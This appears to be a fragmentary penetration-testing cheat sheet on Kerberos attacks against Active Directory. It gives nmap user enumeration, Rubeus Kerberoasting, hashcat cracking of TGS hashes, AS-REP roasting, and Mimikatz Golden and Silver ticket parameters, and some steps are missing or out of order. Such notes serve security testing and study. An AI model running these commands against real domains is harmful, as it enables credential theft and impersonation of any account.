Kerberos Attacks
Last updated
Last updated
We can use bloodhound to find hidden relationships and attack paths in an Active Directory environment.
From the data collect we can escalate our privilege to the target, or use tools like aclpwn.
The AD Powershell module can be used to search for users with SPN
Using Nmap:
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
Using Rubeus to gain hashes:
Rubeus.exe kerberoast /outfile:hashes.txt
Use the hashcat -m 13100 (Kerberos 5 TGS-REP etype 23) to crack:
hashcat -a 0 -m 13100 SPN.hash /wordlists/rockyou.txt
Using impacket:
https://newerasec.com/kerberoasting/
Find users with pre-auth enabled using the AD Powershell module :
To exploit run:
Impacket:
https://newerasec.com/as-roast/
Once you gained the krbtgt hash (from dcsync or DC compromise)T
The Mimikatz kerberos::golden module handles Golden Tickets
We need the following parameters:
/domain - name of the domain
/sid - the sid of the domain (can be obtain from 'whoami /user' , remember to remove the RID)
/rc4 - the NTLM hash of krbtgt
/user - the user you want to create the new TGT ticket for
/id - the RIF of that user you looking to create ticket for
/ptt - (Optional) inject the new ticket into the current session, if not applied the ticket will be saved to a file
use the 'kerberos::golden' module to forge TGS, we will need to pass the following parameters:
/domain: The FDQN
/sid: The SID (Security Identifier) of the Domain (whoami /user)
/user: Target Account/Computer to Impersonate
/id: RID of the account you will be impersonating
/ptt: Optional ( will automatically inject the ticket into the current session)
/rc4: NTLM Hash of User Password/Computer Password
/service: the service we want to access
Example:
Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose Get-ADUser -LdapFilter "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" | Format-Table Name, DistinguishedNam